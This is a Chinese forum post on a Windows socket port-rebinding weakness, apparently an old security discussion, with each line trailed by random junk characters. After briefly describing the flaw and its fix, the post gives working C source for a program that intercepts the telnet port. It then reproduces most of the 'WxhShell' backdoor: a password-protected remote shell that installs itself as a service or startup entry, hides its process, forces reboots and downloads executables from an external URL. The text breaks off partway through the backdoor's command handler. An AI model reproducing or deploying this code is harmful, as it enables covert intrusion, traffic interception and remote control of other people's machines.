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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )]3L/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .3(;9};  
_Cj(fFL  
  saddr.sin_family = AF_INET; %oR>Uo  
M= atls  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); URLk9PI  
=88t*dH(,"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3Mur*tj#  
0juDuE?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f'i6QMk\&  
v O PMgEI  
  这意味着什么?意味着可以进行如下的攻击: QsM*wT&aa  
IEc>.J|T&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4aA9\\hfGY  
moaodmt]x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1EQvcw #  
;KL9oV!<f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p+vh[+yp  
&lUNy L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xuF5/(__  
g [AA,@p+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >r=6A   
] ;&"1A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dok)Je  
F'rt>YvF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QTfu:m{  
RvR:e|  
  #include >2u y  
  #include g9`[Y~  
  #include Vli3>K&  
  #include    k},>^qE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lYP~3wp99  
  int main() I.-v?1>,  
  { 9N^+IZ@l  
  WORD wVersionRequested; :SK<2<8h  
  DWORD ret; x_k S g  
  WSADATA wsaData; <$Ztik1  
  BOOL val; fy`+Efuj  
  SOCKADDR_IN saddr; puA |NT  
  SOCKADDR_IN scaddr; cFDxjX?~  
  int err; +O4(a.  
  SOCKET s; o_(0  
  SOCKET sc; v~f'K3fLp  
  int caddsize; <&6u]uKrW  
  HANDLE mt; 5=Suj*s{D#  
  DWORD tid;   rpSr^slr  
  wVersionRequested = MAKEWORD( 2, 2 ); m9woredS,  
  err = WSAStartup( wVersionRequested, &wsaData ); qfa}3k8et  
  if ( err != 0 ) { /h7.oD8CU  
  printf("error!WSAStartup failed!\n"); P2t_T'R}  
  return -1; E0<)oQ0Xa>  
  } "ee'2O  
  saddr.sin_family = AF_INET; zA,/@/'(  
   s%^o*LQ|9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'g~@"9'oe  
BKX 9 SL]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xG8`'SNY  
  saddr.sin_port = htons(23); 0U%Xm[:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |/*pT1(&  
  { 4~Dax)  
  printf("error!socket failed!\n"); UUH;L  
  return -1; fx]eDA|$e  
  } F3Ap1-%z  
  val = TRUE; OT;cfkf7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -zTEL (r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M!#AfIyB  
  { E23w *']  
  printf("error!setsockopt failed!\n"); >T QZk4$  
  return -1; {\L|s5=yr  
  } 4#7Umj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9qre|AA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v&r=-}z2!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i5VG2S  
06jMj26!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GQ[pG{ _+  
  { uOre,AQR  
  ret=GetLastError(); ik IzhUWE  
  printf("error!bind failed!\n"); /BT1oWi1y  
  return -1; =U c$D*  
  } -;U3w.-  
  listen(s,2); EX+,:l\^  
  while(1) gB >pd?d  
  { H]]c9`ayt  
  caddsize = sizeof(scaddr); ;iQp7aW{$  
  //接受连接请求 5 < GDW=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *i@T!O(1)M  
  if(sc!=INVALID_SOCKET) jq[x DwPG  
  { ;NP[_2|-,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B4^`Sw  
  if(mt==NULL) >(3'Tnu  
  { F"[3c6yF  
  printf("Thread Creat Failed!\n"); ABZ06S/  
  break; Z%e|*GS{  
  } 5 q65nF  
  } $kl$D"*0  
  CloseHandle(mt); h R~v  
  } ??(Kwtx{  
  closesocket(s); qv uxhzF  
  WSACleanup(); '?8Tx&}U8  
  return 0; # 66e@  
  }   2( _=SfQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) -njQc:4W,-  
  { YZ**;"<G  
  SOCKET ss = (SOCKET)lpParam; u7#z^r  
  SOCKET sc; ) $#(ZL^m  
  unsigned char buf[4096]; N Bz%(? \  
  SOCKADDR_IN saddr; ^K;hn,R=  
  long num; Pin/qp&Fa8  
  DWORD val; +Vy_9I(4Z  
  DWORD ret; 0;<OYbm3<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cgN>3cE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uREu2T2  
  saddr.sin_family = AF_INET; a q kix"J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Egf^H>,.M  
  saddr.sin_port = htons(23); {R8=}Qo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [e1L{_*l  
  { ^yJ:+m;6K  
  printf("error!socket failed!\n"); vI|As+`$d  
  return -1; AerFgQiS  
  } 3e 73l  
  val = 100; uy9!qk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Uh 1l.O  
  { ="dDA/,$VS  
  ret = GetLastError(); c&m9)r~zP  
  return -1; Jn#K0( FQ  
  } ] D6|o5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lkwh'@s.  
  { {g_@Tuu  
  ret = GetLastError(); .`J:xL%Z  
  return -1; ^mfjn-=3  
  } <[<247%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y 1nU{Sc@  
  { #KE;=$(S  
  printf("error!socket connect failed!\n"); @ae>b  
  closesocket(sc); >{t+4p4k.  
  closesocket(ss); R&Ci/  
  return -1; agT7=hX].  
  } *<q4S(l  
  while(1) ~!] m6/  
  { Y`^o7'Z2^P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l#xw.2bo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^Plc}W7h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m[rL\](-  
  num = recv(ss,buf,4096,0); v20~^gKo=m  
  if(num>0) P7r4ePtLk{  
  send(sc,buf,num,0); C0(sAF@  
  else if(num==0) 8t[t{"  
  break; d.cCbr:  
  num = recv(sc,buf,4096,0); <+q$XL0  
  if(num>0) enumK\  
  send(ss,buf,num,0); K(3&27sGN  
  else if(num==0) Y|RdzC M  
  break; |X3">U +-  
  } ERC<Dd0  
  closesocket(ss); \O? u*  
  closesocket(sc); -)RJ\V^{9  
  return 0 ; u>o<tw%Y  
  } @|=UrKAN  
QptOQ3!  
M2p<u-6 "  
========================================================== choL %g}  
nq@5j0fK  
下边附上一个代码,,WXhSHELL wko2M[  
(yGQa5v  
========================================================== 2GUupnQkD  
jb3.W  
#include "stdafx.h" u`6/I#q`  
h>W@U9  
#include <stdio.h> >BJ}U_ck  
#include <string.h> Nf5WQTa4  
#include <windows.h> MD4\QNUa)*  
#include <winsock2.h> +?V0:Kz]  
#include <winsvc.h> [+gzdLad  
#include <urlmon.h> rKp1%S1  
y ||@?Y  
#pragma comment (lib, "Ws2_32.lib") bKUyBk,\#  
#pragma comment (lib, "urlmon.lib") J7n5Ps\M  
:kN5?t=  
#define MAX_USER   100 // 最大客户端连接数 d$[8w/5Of  
#define BUF_SOCK   200 // sock buffer ,CKvTxz0  
#define KEY_BUFF   255 // 输入 buffer 1i+FL''  
r--;yEjWE  
#define REBOOT     0   // 重启 Fr;lG  
#define SHUTDOWN   1   // 关机 9P0yv3  
Pgev)rh[  
#define DEF_PORT   5000 // 监听端口 g}r^Xzd;  
Snx<]|  
#define REG_LEN     16   // 注册表键长度  #>bT<  
#define SVC_LEN     80   // NT服务名长度 @/(@/*+"  
LzE/g)>  
// 从dll定义API $iHoOYx]<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5p )IV>G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +V1}@6k :  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MWhwMj!:m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j{"[Ec  
Rf:<-C0T  
// wxhshell配置信息  "l2bx  
struct WSCFG { ]#5^&w)'  
  int ws_port;         // 监听端口 5[<F_"x  
  char ws_passstr[REG_LEN]; // 口令 oZ-FF'  
  int ws_autoins;       // 安装标记, 1=yes 0=no GA ik;R  
  char ws_regname[REG_LEN]; // 注册表键名 8f-:d]  
  char ws_svcname[REG_LEN]; // 服务名 4 l1 i>_R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @G(xaU'u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &-4 ?!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~},~c:fF?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :d({dF_k;p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @>:i-5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 df ?eL2v  
OHhs y|W  
}; ^W}MM8 '  
eJ:Yj ~X`<  
// default Wxhshell configuration <A{y($  
struct WSCFG wscfg={DEF_PORT, pn s+y  
    "xuhuanlingzhe", 1MV@5j  
    1, T`Ro)ORC#  
    "Wxhshell", ob]dZ  
    "Wxhshell", ?[|hGR2L  
            "WxhShell Service", `#U ]iwW!  
    "Wrsky Windows CmdShell Service", DM'qNgB7  
    "Please Input Your Password: ", }! =U^A)  
  1, 97S? ;T  
  "http://www.wrsky.com/wxhshell.exe", ^]7,1dH}M  
  "Wxhshell.exe" pg!`SxFD  
    }; QPV@'.2m  
"Y(^F bs  
// 消息定义模块 oXbI5XY)wb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @p6@a6N%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %yvA   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /Zx8nx'{V  
char *msg_ws_ext="\n\rExit."; 1ys(v   
char *msg_ws_end="\n\rQuit."; O4N-_Kfp/  
char *msg_ws_boot="\n\rReboot..."; y7La_FPrl  
char *msg_ws_poff="\n\rShutdown..."; Wxs>osq  
char *msg_ws_down="\n\rSave to "; bKByU{t  
ArL-rJ{}  
char *msg_ws_err="\n\rErr!"; V4EM5 Z\k  
char *msg_ws_ok="\n\rOK!"; E\iJP^n  
|K)p]i+  
char ExeFile[MAX_PATH]; !%wdn33"  
int nUser = 0; wI>h%y-%!  
HANDLE handles[MAX_USER]; gWi{\x8dt  
int OsIsNt; ZMe}M!V  
=1/q)b,p)  
SERVICE_STATUS       serviceStatus; zv@bI~3~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U3N(cFXn  
Th/{x h  
// 函数声明 /ISLVp%H  
int Install(void); Q ]0r:i= .  
int Uninstall(void); Oa1'oYIHg  
int DownloadFile(char *sURL, SOCKET wsh); eK *W =c#@  
int Boot(int flag); kXMP=j8  
void HideProc(void); Ysl9f1>%  
int GetOsVer(void); C/y(E |zC$  
int Wxhshell(SOCKET wsl); zU b8NOi  
void TalkWithClient(void *cs); hMWo\qM  
int CmdShell(SOCKET sock); ?DRR+n _  
int StartFromService(void); =+4 _j  
int StartWxhshell(LPSTR lpCmdLine); Hh@2m\HA  
"4RQ`.S R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }>,CUz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `1q|F9D  
]K*GSU  
// 数据结构和表定义 }biCQ*{'  
SERVICE_TABLE_ENTRY DispatchTable[] = t*s!0 'Y  
{ ]\`w1'*  
{wscfg.ws_svcname, NTServiceMain}, Tw UsVM(~  
{NULL, NULL} qy6K,/& 3  
}; 0:#7M}U  
ZHcONYAr  
// 自我安装 Y.X4*B  
int Install(void) DiR'p`b~  
{ <uC<GDO  
  char svExeFile[MAX_PATH]; E$R_rX4x  
  HKEY key; wcl!S{  
  strcpy(svExeFile,ExeFile); 8UYJye8  
j)BQMtt&U  
// 如果是win9x系统,修改注册表设为自启动 _<3r'Y,  
if(!OsIsNt) { M_; w %FV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  VmYBa(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x*J|i4  
  RegCloseKey(key); Y6a$gXRT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lU& Q^Zj`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); El+Ft.7  
  RegCloseKey(key); 99EX8  
  return 0; :cb[M5c  
    } -aT=f9u  
  } 3r`<(%\  
} {>A 8g({i  
else { k5C>_( A  
{<r`5  
// 如果是NT以上系统,安装为系统服务 G_0)oC@Jl:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `;e^2  
if (schSCManager!=0) gLV^Z6eE  
{ "&}mAWT%If  
  SC_HANDLE schService = CreateService g&XhQ.aa  
  ( "d2LyQy  
  schSCManager, l)H9J]  
  wscfg.ws_svcname, g/6nw a  
  wscfg.ws_svcdisp, TRo4I{L6S  
  SERVICE_ALL_ACCESS, [m %W:Ez  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @| P3  
  SERVICE_AUTO_START, 5/k)\`  
  SERVICE_ERROR_NORMAL, E::<; 9  
  svExeFile, 4V1|jy3  
  NULL, &62` Wr0C  
  NULL, 7fUi?41XA  
  NULL, }pt-q[s>  
  NULL, J7_8$B-j7  
  NULL c9|I4=_K  
  ); hg{ &Y(J!U  
  if (schService!=0) 6Z$b?A3zM  
  { K/~Y!?:J r  
  CloseServiceHandle(schService); C_C$5[~-:  
  CloseServiceHandle(schSCManager); 9X.gg$P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C5cFw/',  
  strcat(svExeFile,wscfg.ws_svcname); ')rD?Z9 ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b6]e4DL:R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )S#j.8P'B  
  RegCloseKey(key); coSTZ&0  
  return 0; Bg5;Q)  
    } %@o&*pF^,  
  } u^!&{q  
  CloseServiceHandle(schSCManager); +B](5z4  
} "\}21B~{7'  
} ]gEu.Nth`  
ipfm'aQ  
return 1;  KzIt  
} UQSX<6"  
$,g 3*A  
// 自我卸载 BSjbnnW}"  
int Uninstall(void) 8Er[M  
{ 7G?Ia%u  
  HKEY key; y{:]sHyG  
PMD,8]|  
if(!OsIsNt) { X E!2Q7Q9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dy'X<o^?W  
  RegDeleteValue(key,wscfg.ws_regname); )Gx": D  
  RegCloseKey(key); 2n _T2{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ca#U-:g  
  RegDeleteValue(key,wscfg.ws_regname); W6)dUi :"  
  RegCloseKey(key); C5BzWgK  
  return 0; G#^m<G^M  
  } an pJAB:1  
} _T_PX$B  
} )H.ubM1  
else { EUJ1RhajF  
kbD*=d}3{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &Jrq5Q C  
if (schSCManager!=0) vR<fdV  
{ M^Q&A R'F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,HQ1C8  
  if (schService!=0) ^u=PdBY  
  { Z#srQD3].(  
  if(DeleteService(schService)!=0) { $,p.=j;P  
  CloseServiceHandle(schService); lR|$*:+  
  CloseServiceHandle(schSCManager); 6JUav."`~  
  return 0; 3we.*\2$  
  } jq7vOr-_g  
  CloseServiceHandle(schService); (N&k}CO]W  
  } /QV [N  
  CloseServiceHandle(schSCManager); 'O!Z:-qE  
} *Pa2bY3:  
} F+lm[4n  
ViCg|1c  
return 1; -lnTYxo+]^  
} !pG+Ak?  
2O}s*C$Xav  
// 从指定url下载文件 de*,MkZN  
int DownloadFile(char *sURL, SOCKET wsh) (YaOh^T:|  
{ L3-<Kop  
  HRESULT hr; 1v>  
char seps[]= "/"; L#83f]vG  
char *token; m$j n5:  
char *file; eA3`]XP.`b  
char myURL[MAX_PATH]; 5d)'`hACe  
char myFILE[MAX_PATH]; 0+$hkd n  
=U)n`#6_j2  
strcpy(myURL,sURL); IwZZewb-a  
  token=strtok(myURL,seps); qz-#LZFTR  
  while(token!=NULL) D? ^`(X P  
  { CpBQ>!CW  
    file=token; ~}hba3&b;#  
  token=strtok(NULL,seps); ~{52JeUcP  
  } !gD 3CA  
'8]|E  
GetCurrentDirectory(MAX_PATH,myFILE); &!H~bzg  
strcat(myFILE, "\\"); 2@"0} po#  
strcat(myFILE, file); ux" D ]P  
  send(wsh,myFILE,strlen(myFILE),0); yfRUTG  
send(wsh,"...",3,0); 03i?"MvNo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Cop#kW#  
  if(hr==S_OK) n"K {uj))  
return 0; ; 'b!7sMO~  
else hfl%r9o  
return 1; 5`OK-  
;EE{ ~  
} zLJ:U`uh\  
I@y2HxM  
// 系统电源模块 ?15POY ?Z  
int Boot(int flag) "jkw8UVz  
{ QZ:]8MHl]  
  HANDLE hToken; < -@,  
  TOKEN_PRIVILEGES tkp; nr<}Hc^f-  
u&l>cJ'  
  if(OsIsNt) { *SMoodFBS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b#/V;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0+VncL)u  
    tkp.PrivilegeCount = 1; 1@1+4P0NF[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %^Q@*+{:f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zu [?'  
if(flag==REBOOT) { b.w(x*a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '&_y*"/c  
  return 0; Up1$xLSl  
} c(_oK ?  
else { 5 b#" G"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mcP{-oJ0W  
  return 0; : . FfE  
} #J<`p  
  } |}]JWsuB  
  else { V29S*  
if(flag==REBOOT) { eNlF2M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q7)]cY_  
  return 0; cLN[o8 ZU  
} Z!s>AgH9u  
else { goBKr: &]w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @+T{M:&l  
  return 0; 2F*Dkv  
} g-{<v4NGI  
} Aoy1<8WP%  
.zSimEOF  
return 1; l1iF}>F2  
} %BKR}  
Z<,CzKs+||  
// win9x进程隐藏模块 ;/hH=IT  
void HideProc(void) EP*["fx  
{ !4b; >y=m  
7-G'8t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0Tn|Q9R  
  if ( hKernel != NULL ) ,h5-rw'  
  { JQ{zWJlt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hc_hO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U{za m  
    FreeLibrary(hKernel); `Q(]AG I2  
  } L(!!7B_,  
NdXy% Q  
return; kp<}  
} yEw"8u'  
X'3`Q S:!  
// 获取操作系统版本 J*6n6  
int GetOsVer(void) 2gC&R1 H  
{ 0x9F*i_  
  OSVERSIONINFO winfo; f@xfb ie !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k1LtqV  
  GetVersionEx(&winfo); 4 L~;>]7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M#8Ao4 T  
  return 1; X~Rk ,d3  
  else !=q:> }g  
  return 0; i"\AyKiJ  
} P/1UCITq}  
|<+|Du1  
// 客户端句柄模块 L]L~TA<D9i  
int Wxhshell(SOCKET wsl) @e?[oojrM  
{ Oa_o"p<Lr  
  SOCKET wsh; -<}>YtB Q  
  struct sockaddr_in client; G+QNg .pH  
  DWORD myID; CrwcYzrRWl  
MTFVnoZMQ_  
  while(nUser<MAX_USER) ~XT a=  
{ @D=2Er\  
  int nSize=sizeof(client); Gad2EEZ%0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [&O:qaD^  
  if(wsh==INVALID_SOCKET) return 1; b1 ['uJF  
65e Wu=T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ppo^qb  
if(handles[nUser]==0) ,ov v  
  closesocket(wsh); (J;zkb  
else E 4$h%5  
  nUser++; fE7a]R EK  
  } Rcx'a:k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HTtGpTsF  
v BeU  
  return 0; C$re$9U  
} OS h mrz28  
f29HQhXqS  
// 关闭 socket @!O&b%8X%  
void CloseIt(SOCKET wsh) J ]l@ r  
{ _ry En  
closesocket(wsh); 1n5e^'z  
nUser--; p7=^m>Z6  
ExitThread(0); [, szx1  
} t[yD8h  
jv#" vQ9A]  
// 客户端请求句柄 e#eO`bT  
void TalkWithClient(void *cs) ^N}~U5  
{ 7J!d3j2TR  
t;f p<z7N.  
  SOCKET wsh=(SOCKET)cs; ?[4khQt  
  char pwd[SVC_LEN]; =iN_Ug+  
  char cmd[KEY_BUFF]; r1[T:B'  
char chr[1]; MzW$Sl&:  
int i,j; o? xR[N-J  
bHH}x"d[x  
  while (nUser < MAX_USER) { WZ V*J&  
.=w`T #L  
if(wscfg.ws_passstr) { Ckl]fy@D}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rM~IF+f0XD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wqoN@d  
  //ZeroMemory(pwd,KEY_BUFF); y7G|P~td  
      i=0; ]O(HZD%  
  while(i<SVC_LEN) { S?z j&X Y3  
VA r?teY  
  // 设置超时 uKAHJ$%  
  fd_set FdRead; Kmf-l*7}  
  struct timeval TimeOut; WxP4{T* <  
  FD_ZERO(&FdRead); ="TOa"Zk  
  FD_SET(wsh,&FdRead); jw%FZ  
  TimeOut.tv_sec=8; #FDu 4xi  
  TimeOut.tv_usec=0; P9cI{RI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z^GGJu%vjr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l0bT_?LhK  
cXE y>U|/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (L  
  pwd=chr[0]; DmpJzH j|  
  if(chr[0]==0xd || chr[0]==0xa) { 6!=9V0G~  
  pwd=0; |0 pBBDw  
  break; UY& W]  
  } {$eZF_}Y^  
  i++; Z5^ UF2`Q  
    } |2]WA'q  
x=r6vOj  
  // 如果是非法用户,关闭 socket uRcuy/CY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .BTT*vL-  
} F"0jr7  
=,;3z/k%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0`Qs=R`OM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +fR`@HI  
Xwq2;Bq  
while(1) { Q-%=ZW Z  
E|}Nj}(*  
  ZeroMemory(cmd,KEY_BUFF); j%<@ui u  
3~09)0"!d  
      // 自动支持客户端 telnet标准   lxJ.h&"P  
  j=0; wDTV /"Y  
  while(j<KEY_BUFF) { rpI7W?hh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Yf;b9-k  
  cmd[j]=chr[0]; %+JTQy  
  if(chr[0]==0xa || chr[0]==0xd) { EHM 7=|#  
  cmd[j]=0; 2Rp{]s$jo  
  break; M@86u^80  
  } yBjWPx?  
  j++; !7kOw65+0  
    } *)SgdC/f  
n>+W]I&E  
  // 下载文件 [5:7 WqB  
  if(strstr(cmd,"http://")) { pKlT.<X7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S|h  m  
  if(DownloadFile(cmd,wsh)) z4UQ:z@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vu \Dx9  
  else QlXF:Gx"=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]b$,.t5  
  } .B n2;nO  
  else { EqU[mqeF  
$1 \!Oe[i  
    switch(cmd[0]) { .F|WQ7Mu  
  PG]mwaj])  
  // 帮助 7lOiFw  
  case '?': { ]/naH#8G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J}u1\Id%  
    break; \ku{-^7  
  } kpUU'7Q  
  // 安装 a2FIFWvW  
  case 'i': { O|m-k0n  
    if(Install()) ';V+~pi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3c6)  
    else 6>A8#VT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } ~bOP^'  
    break; ar}759  
    } -"L6^IH7  
  // 卸载 &y?B&4|hM  
  case 'r': { :Djp\ e6!  
    if(Uninstall()) SSC!BcC1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MUl+Oy>  
    else b=l}|)a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pQ\ [F  
    break; VX%\_@  
    } /L Tyiiz6  
  // 显示 wxhshell 所在路径 6K0*?j{;"  
  case 'p': { jO.E#Ei}~  
    char svExeFile[MAX_PATH]; Q;M\P/f  
    strcpy(svExeFile,"\n\r"); Agf!6kh  
      strcat(svExeFile,ExeFile); FvP1;E  
        send(wsh,svExeFile,strlen(svExeFile),0); @vh>GiR){  
    break; (8R M|&  
    } /_(Dq8^g@  
  // 重启 '>$A7  
  case 'b': { y70gNPuTOD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Ay#0uQ5Y  
    if(Boot(REBOOT)) }y/t~f+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GTvb^+6  
    else { ? xs0J  
    closesocket(wsh); !*-cf$  
    ExitThread(0); ~h.B\Sc]Q  
    } R[t[M}q  
    break; ~ $&  
    } =)bc/309  
  // 关机 :b-(@a7>  
  case 'd': { OR{"9)I  
